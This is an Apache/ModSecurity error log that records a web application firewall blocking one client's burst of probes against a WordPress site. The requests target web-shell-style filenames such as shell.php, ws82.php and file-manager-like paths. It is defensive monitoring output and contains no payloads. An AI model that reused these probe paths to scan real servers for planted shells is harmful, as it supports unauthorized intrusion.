[Sat Apr 11 08:44:02.608493 2026] [:error] [pid 5794:tid 5865] [client 4.233.120.250:47905] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypltspd.php"] [unique_id "admZUojGQwKS4utx44NmXQAAAIk"]
[Sat Apr 11 08:44:03.298204 2026] [:error] [pid 5795:tid 5899] [client 4.233.120.250:56670] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypltspd.php"] [unique_id "admZU5gvRQRkGSWa6n_i0gAAAM8"]
[Sat Apr 11 08:44:03.986090 2026] [:error] [pid 5949:tid 5972] [client 4.233.120.250:48016] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypltspd.php"] [unique_id "admZU_28g0lvFuzWT5Ue9QAAAFQ"]
[Sat Apr 11 08:44:04.479032 2026] [:error] [pid 5795:tid 5904] [client 4.233.120.250:55281] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypltspd.php"] [unique_id "admZVJgvRQRkGSWa6n_i2AAAANQ"]
[Sat Apr 11 08:44:04.952736 2026] [:error] [pid 5949:tid 5954] [client 4.233.120.250:56674] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "admZVP28g0lvFuzWT5UfAAAAAEI"]
[Sat Apr 11 08:44:05.508979 2026] [:error] [pid 5793:tid 5832] [client 4.233.120.250:48211] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "admZVcLXvguFrb7p0Zu7dgAAAAo"]
[Sat Apr 11 08:44:06.555944 2026] [:error] [pid 5795:tid 5892] [client 4.233.120.250:48919] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "admZVpgvRQRkGSWa6n_i3gAAAMg"]
[Sat Apr 11 08:44:07.044313 2026] [:error] [pid 5794:tid 5874] [client 4.233.120.250:55278] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "admZV4jGQwKS4utx44NmawAAAJI"]
[Sat Apr 11 08:44:08.298468 2026] [:error] [pid 5949:tid 5956] [client 4.233.120.250:56682] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "admZWP28g0lvFuzWT5UfFAAAAEQ"]
[Sat Apr 11 08:44:08.910686 2026] [:error] [pid 5949:tid 5973] [client 4.233.120.250:48911] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "admZWP28g0lvFuzWT5UfGgAAAFU"]
[Sat Apr 11 08:44:09.984448 2026] [:error] [pid 5795:tid 5891] [client 4.233.120.250:39549] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "admZWZgvRQRkGSWa6n_i6wAAAMc"]
[Sat Apr 11 08:44:10.656550 2026] [:error] [pid 5795:tid 5900] [client 4.233.120.250:57989] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "admZWpgvRQRkGSWa6n_i8QAAANA"]
[Sat Apr 11 08:44:11.497944 2026] [:error] [pid 5795:tid 5905] [client 4.233.120.250:64000] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "admZW5gvRQRkGSWa6n_i9gAAANU"]
[Sat Apr 11 08:44:12.100929 2026] [:error] [pid 5949:tid 5967] [client 4.233.120.250:45351] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "admZXP28g0lvFuzWT5UfNAAAAE8"]
[Sat Apr 11 08:44:12.763403 2026] [:error] [pid 5794:tid 5867] [client 4.233.120.250:61453] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "admZXIjGQwKS4utx44NmdAAAAIs"]
[Sat Apr 11 08:44:13.426483 2026] [:error] [pid 5949:tid 5974] [client 4.233.120.250:52938] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "admZXf28g0lvFuzWT5UfPgAAAFY"]
[Sat Apr 11 08:44:14.056873 2026] [:error] [pid 5949:tid 5952] [client 4.233.120.250:61487] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "admZXv28g0lvFuzWT5UfQwAAAEA"]
[Sat Apr 11 08:44:14.613206 2026] [:error] [pid 5794:tid 5874] [client 4.233.120.250:58938] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "admZXojGQwKS4utx44NmdgAAAJI"]
[Sat Apr 11 08:44:15.452605 2026] [:error] [pid 5795:tid 5901] [client 4.233.120.250:55269] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "admZX5gvRQRkGSWa6n_i_AAAANE"]
[Sat Apr 11 08:44:16.059908 2026] [:error] [pid 5949:tid 5966] [client 4.233.120.250:56359] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "admZYP28g0lvFuzWT5UfUgAAAE4"]
[Sat Apr 11 08:44:16.764603 2026] [:error] [pid 5793:tid 5838] [client 4.233.120.250:58907] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "admZYMLXvguFrb7p0Zu7jAAAABA"]
[Sat Apr 11 08:44:17.620280 2026] [:error] [pid 5949:tid 5967] [client 4.233.120.250:12981] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "admZYf28g0lvFuzWT5UfWAAAAE8"]
[Sat Apr 11 08:44:18.541163 2026] [:error] [pid 5949:tid 5956] [client 4.233.120.250:53747] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "admZYv28g0lvFuzWT5UfXgAAAEQ"]
[Sat Apr 11 08:44:19.079338 2026] [:error] [pid 5949:tid 5955] [client 4.233.120.250:12938] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "admZY_28g0lvFuzWT5UfYgAAAEM"]
[Sat Apr 11 08:44:20.145804 2026] [:error] [pid 5795:tid 5884] [client 4.233.120.250:45339] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "admZZJgvRQRkGSWa6n_jCAAAAME"]
[Sat Apr 11 08:44:20.815146 2026] [:error] [pid 5949:tid 5953] [client 4.233.120.250:52987] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "admZZP28g0lvFuzWT5UfcQAAAEE"]
[Sat Apr 11 08:44:21.483639 2026] [:error] [pid 5949:tid 5958] [client 4.233.120.250:56347] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "admZZf28g0lvFuzWT5UfeAAAAEY"]
[Sat Apr 11 08:44:22.491944 2026] [:error] [pid 5949:tid 5959] [client 4.233.120.250:52949] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "admZZv28g0lvFuzWT5UfgQAAAEc"]
[Sat Apr 11 08:44:23.813392 2026] [:error] [pid 5795:tid 5906] [client 4.233.120.250:7432] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-mancvgertdxz.php"] [unique_id "admZZ5gvRQRkGSWa6n_jDgAAANY"]
[Sat Apr 11 08:44:24.657467 2026] [:error] [pid 5949:tid 5966] [client 4.233.120.250:45313] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-mancvgertdxz.php"] [unique_id "admZaP28g0lvFuzWT5UfkgAAAE4"]
[Sat Apr 11 08:44:25.374306 2026] [:error] [pid 5795:tid 5905] [client 4.233.120.250:63015] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-mancvgertdxz.php"] [unique_id "admZaZgvRQRkGSWa6n_jFAAAANU"]
[Sat Apr 11 08:44:25.870127 2026] [:error] [pid 5793:tid 5827] [client 4.233.120.250:65102] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-mancvgertdxz.php"] [unique_id "admZacLXvguFrb7p0Zu7qwAAAAU"]
[Sat Apr 11 08:44:26.565513 2026] [:error] [pid 5793:tid 5842] [client 4.233.120.250:12965] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "admZasLXvguFrb7p0Zu7rwAAABQ"]
[Sat Apr 11 08:44:27.153714 2026] [:error] [pid 5793:tid 5825] [client 4.233.120.250:12978] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "admZa8LXvguFrb7p0Zu7tQAAAAM"]
[Sat Apr 11 08:44:27.707801 2026] [:error] [pid 5949:tid 5958] [client 4.233.120.250:58740] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "admZa_28g0lvFuzWT5UfoQAAAEY"]
[Sat Apr 11 08:44:28.275901 2026] [:error] [pid 5949:tid 5964] [client 4.233.120.250:63030] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "admZbP28g0lvFuzWT5UfpgAAAEw"]
[Sat Apr 11 08:44:28.947979 2026] [:error] [pid 5949:tid 5957] [client 4.233.120.250:48029] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "admZbP28g0lvFuzWT5UfrgAAAEU"]
[Sat Apr 11 08:44:29.594927 2026] [:error] [pid 5949:tid 5976] [client 4.233.120.250:56342] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "admZbf28g0lvFuzWT5UfuAAAAFg"]
[Sat Apr 11 08:44:30.221572 2026] [:error] [pid 5949:tid 5976] [client 4.233.120.250:41962] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "admZbv28g0lvFuzWT5UfwQAAAFg"]
[Sat Apr 11 08:44:30.855663 2026] [:error] [pid 5794:tid 5871] [client 4.233.120.250:52940] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "admZbojGQwKS4utx44NmhwAAAI8"]
[Sat Apr 11 08:44:31.560579 2026] [:error] [pid 5794:tid 5877] [client 4.233.120.250:65098] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.qiodetme.php"] [unique_id "admZb4jGQwKS4utx44NmjAAAAJU"]
[Sat Apr 11 08:44:32.138444 2026] [:error] [pid 5794:tid 5866] [client 4.233.120.250:12950] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.qiodetme.php"] [unique_id "admZcIjGQwKS4utx44NmjwAAAIo"]
[Sat Apr 11 08:44:32.815453 2026] [:error] [pid 5949:tid 5967] [client 4.233.120.250:47885] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.qiodetme.php"] [unique_id "admZcP28g0lvFuzWT5Uf0AAAAE8"]
[Sat Apr 11 08:44:33.436720 2026] [:error] [pid 5795:tid 5885] [client 4.233.120.250:48043] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.qiodetme.php"] [unique_id "admZcZgvRQRkGSWa6n_jJAAAAMI"]
[Sat Apr 11 08:44:34.007766 2026] [:error] [pid 5795:tid 5893] [client 4.233.120.250:6734] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sodas.php"] [unique_id "admZcpgvRQRkGSWa6n_jJwAAAMk"]
[Sat Apr 11 08:44:34.634295 2026] [:error] [pid 5793:tid 5840] [client 4.233.120.250:55834] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sodas.php"] [unique_id "admZcsLXvguFrb7p0Zu7vgAAABI"]
[Sat Apr 11 08:44:35.161781 2026] [:error] [pid 5795:tid 5885] [client 4.233.120.250:39489] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sodas.php"] [unique_id "admZc5gvRQRkGSWa6n_jNQAAAMI"]
[Sat Apr 11 08:44:35.625467 2026] [:error] [pid 5949:tid 5953] [client 4.233.120.250:45334] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sodas.php"] [unique_id "admZc_28g0lvFuzWT5Uf2QAAAEE"]
[Sat Apr 11 08:44:37.638300 2026] [proxy_fcgi:error] [pid 5794:tid 5870] [client 4.233.120.250:56354] AH01067: Failed to read FastCGI header
[Sat Apr 11 08:44:37.638350 2026] [proxy_fcgi:error] [pid 5794:tid 5870] (104)Connection reset by peer: [client 4.233.120.250:56354] AH01075: Error dispatching request to : 
[Sat Apr 11 08:44:50.718612 2026] [proxy_fcgi:error] [pid 7649:tid 7663] [client 4.233.120.250:51298] AH01067: Failed to read FastCGI header
[Sat Apr 11 08:44:50.718668 2026] [proxy_fcgi:error] [pid 7649:tid 7663] (104)Connection reset by peer: [client 4.233.120.250:51298] AH01075: Error dispatching request to : 
[Sat Apr 11 08:45:00.696028 2026] [:error] [pid 7945:tid 7967] [client 4.233.120.250:56361] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "admZjLsDeeqOgGBoyiRR7gAAARI"]
[Sat Apr 11 08:45:01.230275 2026] [:error] [pid 7947:tid 8008] [client 4.233.120.250:55831] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "admZjRCvPKMuu97BGdh8FwAAAYQ"]
[Sat Apr 11 08:45:01.718598 2026] [:error] [pid 7945:tid 7961] [client 4.233.120.250:52928] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "admZjbsDeeqOgGBoyiRR9AAAAQw"]
[Sat Apr 11 08:45:02.395417 2026] [:error] [pid 7947:tid 8020] [client 4.233.120.250:58720] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "admZjhCvPKMuu97BGdh8HAAAAZA"]
[Sat Apr 11 08:45:03.014392 2026] [:error] [pid 7947:tid 8024] [client 4.233.120.250:59736] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "admZjxCvPKMuu97BGdh8IwAAAZQ"]
[Sat Apr 11 08:45:03.503469 2026] [:error] [pid 7947:tid 8028] [client 4.233.120.250:65146] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "admZjxCvPKMuu97BGdh8JgAAAZg"]
[Sat Apr 11 08:45:04.160448 2026] [:error] [pid 8040:tid 8048] [client 4.233.120.250:59770] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "admZkPT4I2pBpREXxbXfsgAAAAY"]
